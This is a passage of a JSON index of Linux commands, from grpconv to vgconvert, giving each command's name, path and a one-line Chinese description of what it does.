性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vg